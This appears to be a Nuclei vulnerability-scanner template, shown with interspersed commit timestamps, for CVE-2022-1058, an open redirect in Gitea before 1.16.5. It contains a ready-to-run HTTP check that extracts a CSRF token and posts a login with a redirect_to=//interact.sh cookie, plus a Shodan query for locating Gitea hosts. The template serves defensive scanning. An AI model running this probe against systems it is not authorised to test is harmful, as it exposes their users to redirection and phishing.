2023-03-31 11:28:24 +00:00
id : CVE-2022-1058
info :
2023-04-13 15:12:46 +00:00
name : Gitea <1.16.5 - Open Redirect
2023-03-31 11:28:24 +00:00
author : theamanrawat
severity : medium
description : |
2023-04-13 17:07:46 +00:00
Gitea before 1.16.5 is susceptible to open redirect via GitHub repository go-gitea/gitea. An attacker can redirect a user to a malicious site and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade Gitea to version 1.16.5 or later to fix the open redirect vulnerability.
2023-03-31 11:28:24 +00:00
reference :
- https://github.com/go-gitea/gitea/commit/e3d8e92bdc67562783de9a76b5b7842b68daeb48
2023-03-31 16:11:22 +00:00
- https://huntr.dev/bounties/4fb42144-ac70-4f76-a5e1-ef6b5e55dc0d
2023-04-13 15:12:46 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-1058
2023-03-31 11:28:24 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-1058
cwe-id : CWE-601
2023-10-16 10:55:14 +00:00
epss-score : 0.001
2024-01-14 13:49:27 +00:00
epss-percentile : 0.40832
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
2023-03-31 11:28:24 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : gitea
product : gitea
2023-09-06 11:59:08 +00:00
shodan-query : title:"Gitea"
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,huntr,open-redirect,gitea
2023-03-31 11:28:24 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-31 11:28:24 +00:00
- raw :
- |
GET /user/login HTTP/1.1
Host : {{Hostname}}
- |
POST /user/login HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
Cookie : redirect_to=//interact.sh
_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
matchers-condition : and
matchers :
- type : word
part : header_2
words :
- "//interact.sh"
- type : status
status :
- 302
2023-07-11 19:49:27 +00:00
extractors :
- type : regex
name : csrf
group : 1
regex :
- 'name="_csrf" value="(.*)"'
internal : true
2024-01-26 08:31:11 +00:00
# digest: 4a0a0047304502205b160da0ca1beca3dce4e037b66248d2b7b77699ad1fd656c93b16639b07e58d0221008cd13ea9b291c80631a8195ca62054dd4d13403970d6fa0731fcb6a2686f1d76:922c64590222798bb761d5b6d8e72950